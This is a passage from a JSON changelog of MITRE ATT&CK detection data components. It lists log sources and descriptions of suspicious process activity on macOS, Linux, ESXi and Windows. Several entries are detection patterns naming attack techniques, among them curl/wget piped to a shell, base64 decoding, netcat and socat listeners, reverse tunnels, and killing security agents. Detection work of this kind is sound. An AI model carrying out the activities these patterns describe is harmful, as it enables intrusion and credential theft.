process_events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process and file events via log stream\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of scripts or binaries spawned from browser processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Browser processes launching unexpected interpreters (osascript, bash)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"EXECVE\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of bash, python, or perl processes spawned by browser/email client\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of osascript, bash, or Terminal initiated from Mail.app or Safari\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity.\"}, {\"name\": \"macos:osquery\", \"channel\": \"parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process activity stream\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"SYSCALL record where exe contains passwd/userdel/chage and auid != root\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Post-login execution of unrecognized child process from launchd or loginwindow\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process command line contains base64, -enc, openssl enc -base64\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec: arguments contain Base64-like strings\"}, {\"name\": \"esxi:shell\", \"channel\": \"commands containing base64, openssl enc -base64, xxd -p\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of process launched via loginwindow session restore\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: exec + filewrite: ~/.ssh/authorized_keys\"}, {\"name\": \"containerd:runtime\", \"channel\": \"/var/log/containers/*.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of Java apps or other processes with hidden window attributes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process Execution\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve on code or jetbrains-gateway with remote flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: code or jetbrains-gateway launching with --tunnel or --remote\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'processImagePath CONTAINS \\\"curl\\\" OR \\\"osascript\\\"'\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of dd, shred, wipe targeting block devices\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of sleep or ping command within script interpreted by bash/python\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve or socket/connect system calls from processes using crypto libraries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process using AES/RC4 routines unexpectedly\"}, {\"name\": \"linux:osquery\", \"channel\": \"execution of known firewall binaries\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime\"}, {\"name\": \"linux:osquery\", \"channel\": \"execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec: binary == \\\"/usr/sbin/systemsetup\\\" and args contains \\\"-gettimezone\\\"\"}, {\"name\": \"macos:osquery\", \"channel\": \"execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of osascript, curl, or unexpected automation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec /usr/bin/pwpolicy\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(\\u2026 SO_ATTACH_FILTER|SO_ATTACH_BPF \\u2026), bpf(cmd=BPF_PROG_LOAD), open/openat path=\\\"/dev/bpf*\\\" (BSD/macOS-like) or setcap cap_net_raw.\"}, {\"name\": \"linux:syslog\", \"channel\": \"KERN messages about eBPF program load/verify or LSM denials related to bpf.\"}, {\"name\": \"OpenBSM:AuditTrail\", \"channel\": \"open/openat of /dev/bpf*; ioctl BIOCSETF-like operations.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters.\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of known flash tools (e.g., flashrom, fwupd)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.firmwareupdater activity or update-firmware binary invoked\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API\"}, {\"name\": \"macos:endpointSecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)\"}, {\"name\": \"macos:osquery\", \"channel\": \"execve: Processes unexpectedly invoking Keychain or authentication APIs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"None\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:launch\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of \\\"sharing -l\\\", \\\"smbutil view\\\", \\\"mount_smbfs\\\"\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of scp, rsync, curl with remote destination\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"logMessage contains pbpaste or osascript\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process launch of diskutil or system_profiler with SPStorageDataType\"}, {\"name\": \"esxi:hostd\", \"channel\": \"execution of esxcli with args matching 'storage', 'filesystem', 'core device list'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Mail.app executing with parameters updating rules state\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/vmkernel.log, /var/log/vmkwarning.log\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"exec into pod followed by secret retrieval via API\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process_name IN (\\\"VBoxManage\\\", \\\"prlctl\\\") AND command CONTAINS (\\\"list\\\", \\\"show\\\")\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec srm|exec openssl|exec gpg\"}, {\"name\": \"linux:osquery\", \"channel\": \"Process execution with LD_PRELOAD or modified library path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of process with DYLD_INSERT_LIBRARIES set\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"process creation events linked to container namespaces executing host-level binaries\"}, {\"name\": \"WinEventlog:Security\", \"channel\": \"EventCode=4688\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process and signing chain events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchservices events for misleading extensions\"}, {\"name\": \"fs:fsusage\", \"channel\": \"Execution of disguised binaries\"}, {\"name\": \"linux:osquery\", \"channel\": \"process listening or connecting on non-standard ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd services binding to non-standard ports\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, connect\"}, {\"name\": \"esxi:cron\", \"channel\": \"process or cron activity\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of binaries with unsigned or anomalously signed certificates\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve logging for /usr/bin/systemctl and systemd-run\"}, {\"name\": \"macos:osquery\", \"channel\": \"Invocation of osascript or dylib injection\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of files saved in mail or download directories\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of Terminal, osascript, or other interpreters originating from Mail or Preview\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process events\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of CLI tools like psql, mysql, mongo, sqlite3\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process start of Java or native DB client tools\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loginwindow or tccd-related entries\"}, {\"name\": \"macos:osquery\", \"channel\": \"query: process_events, launchd, and tcc.db access\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"process execution or network connect from just-created container PID namespace\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of pip, npm, gem, or similar package managers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Command line invocation of pip3, brew install, npm install from interactive Terminal\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"fork/exec of service via PID 1 (systemd)\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of ssh/scp/sftp without corresponding authentication log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of ssh or sftp without corresponding login event\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: execve where exe=/usr/bin/python3 or similar interpreter\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launch of remote desktop app or helper binary\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected processes making network calls based on DNS-derived ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl spawning new processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl activity and process creation\"}, {\"name\": \"containerd:events\", \"channel\": \"New container with suspicious image name or high resource usage\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of Python, Swift, or other binaries invoking archiving libraries\"}, {\"name\": \"linux:osquery\", \"channel\": \"Processes linked with libssl or crypto libraries making outbound connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process invoking SSL routines from Security framework\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of binaries located in /etc/init.d/ or systemd service paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of binary listed in newly modified LaunchAgent plist\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of bless or nvram modifying boot parameters\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected processes registered with launchd\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process launch\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of curl, osascript, or unexpected Office processes\"}, {\"name\": \"macos:osquery\", \"channel\": \"exec\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Trust validation failures or bypass attempts during notarization and code signing checks\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"spawned shell or execution environment activity\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of dd/sgdisk with arguments writing to sector 0 or partition table\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events for chmod, chown, chflags with unusual parameters or targets\"}, {\"name\": \"m365:defender\", \"channel\": \"AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execve or dylib load from memory without backing file\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw).\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers.\"}, {\"name\": \"esxi:shell\", \"channel\": \"Shell Execution\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unusual child process tree indicating attempted recovery after crash\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of binaries/scripts presenting false health messages for security daemons\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of processes mimicking Apple Security & Privacy GUIs\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Security-Auditing\", \"channel\": \"EventCode=4688\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, setifflags\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events where path like '%tcpdump%'\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of dd, shred, or wipe with arguments targeting block devices\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"systemctl stop auditd, kill -9 , or modifications to /etc/selinux/config\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of curl, git, or Office processes with network connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream - process subsystem\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls for qemu-system*, kvm, or VBoxHeadless\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process execution for VBoxHeadless, prl_vm_app, vmware-vmx\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process logs\"}, {\"name\": \"esxi:shell\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"command line or log output shows non-standard encoding routines\"}, {\"name\": \"esxi:shell\", \"channel\": \"commands containing long non-standard tokens or custom lookup tables\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execve: Helper tools invoked through XPC executing unexpected binaries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of modified binary without valid signature\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python*) AND cmdline matches '(curl|wget).*(\\\\||\\\\|\\\\s*sh|bash)|base64\\\\s*-d|python\\\\s*-c'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python*) AND CommandLine matches '(curl|wget).*(\\\\||\\\\|\\\\s*sh|bash)|base64 -D|python -c'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process created with repeated ICMP or UDP flood behavior\"}, {\"name\": \"fs:fsusage\", \"channel\": \"binary execution of security_authtrampoline\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: exec\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Exec\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Child processes of Safari, Chrome, or Firefox executing scripting interpreters\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of older or non-standard interpreters\"}, {\"name\": \"linux:osquery\", \"channel\": \"process execution events for permission modification utilities with command-line analysis\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events for chmod, chown, chflags with parameter analysis and target path examination\"}, {\"name\": \"macos:osquery\", \"channel\": \"process execution monitoring for permission modification utilities with command-line argument analysis\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Invocation of packet generation tools (e.g., hping3, nping) or fork bombs\"}, {\"name\": \"macos:osquery\", \"channel\": \"Execution of flooding tools or compiled packet generators\"}, {\"name\": \"esxi:hostd\", \"channel\": \"process\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve for proxy tools\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process, socket, and DNS logs\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events table\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Command line containing `trap` or `echo 'trap` written to login shell files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log collect --predicate\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve or nanosleep with no stdout/stderr I/O\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd or osascript spawns process with delay command\"}, {\"name\": \"linux:syslog\", \"channel\": \"systemd-udevd spawning user-defined action from RUN+=\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"execve\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:spawn\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'eventMessage contains \\\"exec\\\"'\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"cat|less|grep accessing .bash_history from a non-shell process\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of dpkg, rpm, or other package manager with list flag\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of system_profiler or osascript invoking enumeration\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"apache2 or nginx spawning sh, bash, or python interpreter\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"httpd spawning bash, zsh, python, or osascript\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of security or osascript\"}, {\"name\": \"WinEventLog:security\", \"channel\": \"EventCode=4688\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd spawning processes tied to new or modified LaunchDaemon .plist entries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of ping, nping, or crafted network packets via bash or python to reflection services\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of commands modifying iptables/nftables to block selective IPs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"System process modifications altering DNS/proxy settings\"}, {\"name\": \"containerd:Events\", \"channel\": \"unusual process spawned from container image context\"}, {\"name\": \"macos:osquery\", \"channel\": \"curl, python scripts, rsync with internal share URLs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: spawn, exec\"}, {\"name\": \"macos:osquery\", \"channel\": \"Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected apps performing repeated DNS lookups\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchservices or loginwindow events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve with LD_PRELOAD or linker-related environment variables set\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of process with DYLD_INSERT_LIBRARIES set\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious Swift/Objective-C or scripting processes writing archive-like outputs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of re-parented process\"}, {\"name\": \"linux:osquery\", \"channel\": \"Anomalous parent PID change\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process creation with parent PID of 1 (launchd)\"}, {\"name\": \"linux:osquery\", \"channel\": \"child process invoking dynamic linker post-ptrace\"}, {\"name\": \"macos:osquery\", \"channel\": \"Processes executing kextload, spctl, or modifying kernel extension directories\"}, {\"name\": \"macos:osquery\", \"channel\": \"Unsigned or ad-hoc signed process executions in user contexts\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of diskutil or hdiutil attaching hidden partitions\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis\"}, {\"name\": \"macos:osquery\", \"channel\": \"process event monitoring with focus on discovery utilities and cryptographic framework usage correlation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected apps generating frequent DNS queries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket: Suspicious creation of AF_UNIX sockets outside expected daemons\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Non-standard processes invoking financial applications or payment APIs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"systemctl enable/start: Creation/enablement of custom .service units in /etc/systemd/system\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process exec of remote-control apps or binaries with headless/connect flags\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of launchctl unload, kill, or removal of security agent daemons\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process activity, exec events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream process subsystem\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:exec and kext load events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --info --predicate 'eventMessage CONTAINS \\\"exec\\\"'\"}, {\"name\": \"WinEventLog:Microsoft-Windows-DotNETRuntime\", \"channel\": \"Unexpected AppDomain creation events or anomalous AppDomainManager assembly load behavior\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of network stress tools or anomalies in socket/syscall behavior\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unsigned binary execution following SIP change\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start *ssh*/*telnet*, ip route add, tcpdump, tshark)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Execution of /sbin/pfctl, /usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond\"}, {\"name\": \"WinEventLog:AppLocker\", \"channel\": \"EventCode=8003,8004\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, unlink\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd, processes\"}, {\"name\": \"linux:osquery\", \"channel\": \"socat, ssh, or nc processes opening unexpected ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution of ssh with -L/-R forwarding flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd or cron spawning mining binaries\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve or socket/connect system calls for processes using RSA handshake\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs\"}, {\"name\": \"azure:vmguest\", \"channel\": \"Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Script interpreter invoked by nginx/apache worker process\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of Office binaries with network activity\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launch of bash/zsh/python/osascript targeting key file locations\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of /sbin/emond with child processes launched\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"provider: ETW CreateProcess events linking msbuild.exe to suspicious children where standard logs are incomplete\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"shutdown -h now or reboot\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis\"}, {\"name\": \"OpenBSM:AuditTrail\", \"channel\": \"BSM audit events for process execution and system call monitoring during reconnaissance\"}, {\"name\": \"esxi:hostd\", \"channel\": \"host daemon events related to VM operations and configuration queries during reconnaissance\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"VMware kernel events for hardware and system configuration access during environmental validation\"}, {\"name\": \"linux:osquery\", \"channel\": \"processes modifying environment variables related to history logging\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: parent process is usb/hid device handler, child process bash/python invoked\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of curl, rclone, or Office apps invoking network sessions\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Execution of kextstat, kextfind, or ioreg targeting driver information\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process creation involving binaries interacting with resource fork data\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process event\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of suspicious exploit binaries targeting security daemons\"}, {\"name\": \"macos:osquery\", \"channel\": \"execve: Unsigned or unnotarized processes launched with high privileges\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"security OR injection attempts into 1Password OR LastPass\"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 19:28:39.339000+00:00\", \"old_value\": \"2025-04-18 15:10:27.797000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}, \"root['x_mitre_data_source_ref']\": {\"new_value\": \"\", \"old_value\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:35.331000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0034", + "external_id": "DC0034" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process Metadata", + "description": "Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Process", + "channel": "None" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.process" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads" + }, + { + "name": "linux:syslog", + "channel": "sudo or service accounts invoking loaders with suspicious env vars" + }, + { + "name": "macos:osquery", + "channel": "Process Context" + }, + { + "name": "esxi:auth", + "channel": "user session" + }, + { + "name": "networkdevice:syslog", + "channel": "Admin activity" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve call for sudo where euid != uid" + }, + { + "name": "macos:unifiedlog", + 